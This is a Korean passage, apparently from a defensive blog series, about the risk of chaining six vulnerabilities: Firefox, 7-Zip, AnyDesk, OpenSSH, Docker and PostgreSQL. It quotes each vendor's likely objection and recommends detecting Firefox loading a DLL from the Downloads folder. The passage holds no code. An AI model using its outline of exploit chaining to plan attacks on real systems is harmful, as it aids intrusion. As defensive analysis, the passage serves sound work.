한 가지만 우선 탐지해야 한다면, firefox.exe가 다운로드 폴더에서 DLL을 로드하는 동작을 권합니다. EDR이 이 지점에서 탐지하면 공격 흐름을 1단계에서 끊을 수 있습니다.

🔗 ‘비키니 문제’: 취약점을 따로 볼 때 놓치는 위험

다시 전체 흐름을 보겠습니다. 여섯 익스플로잇은 서로 다른 여섯 제품에서 나왔고, 개발팀도 각각 다릅니다. 각 팀이 자기 제품의 문제만 검토한다면 다음과 같이 판단할 수 있습니다. “취약점은 맞지만, 악용하려면 먼저 충족해야 할 조건이 있습니다.”

Firefox: “Wasm JIT 손상부터 BrowserBridge, BackupUI, NSS 모듈 경로까지 모두 맞아야 합니다.”
7-Zip: “MotW 문제일 뿐이고, 사용자가 파일을 열어야 합니다.”
AnyDesk: “로컬 공격입니다. 이미 시스템에 접근할 수 있어야 합니다.”
OpenSSH: “잠긴 에이전트와 포워딩된 소켓이 필요하고, 별도로 잠금을 해제해야 합니다.”
Docker: “누군가 docker cp를 실행해야만 성립하는 경쟁 조건입니다.”
PostgreSQL: “CREATE 권한과 대상 테이블의 REFERENCES 권한이 필요합니다.”

각 설명은 개별 취약점만 놓고 보면 기술적으로 맞습니다. 하지만 취약점들이 연결된 상황에서는 이러한 판단이 실제 위험을 크게 과소평가하는 결과로 이어집니다.

이 시리즈에서 말하는 ‘비키니 문제’가 바로 이것입니다. 각각은 일부만 가리고 있을 뿐인데, 전체를 보면 노출된 범위가 훨씬 큽니다. 취약점 하나의 조건만으로 전체 공격 가능성을 판단해서는 안 됩니다.

다음 2편에서는 “파이프라인 오염시키기(Poisoning the Pipeline)”를 다룹니다. CSRF 링크 하나가 회사에서 빌드하는 모든 컨테이너 이미지의 백도어로 이어지는 과정을 살펴봅니다.

The Bikini Exploitarium은 Exploitarium 저장소의 익스플로잇을 조합했을 때 발생하는 위험을 분석하는 6부작 시리즈입니다. 모든 분석은 방어와 교육을 위한 것입니다. 사이버 범죄는 결코 자랑할 일이 아닙니다.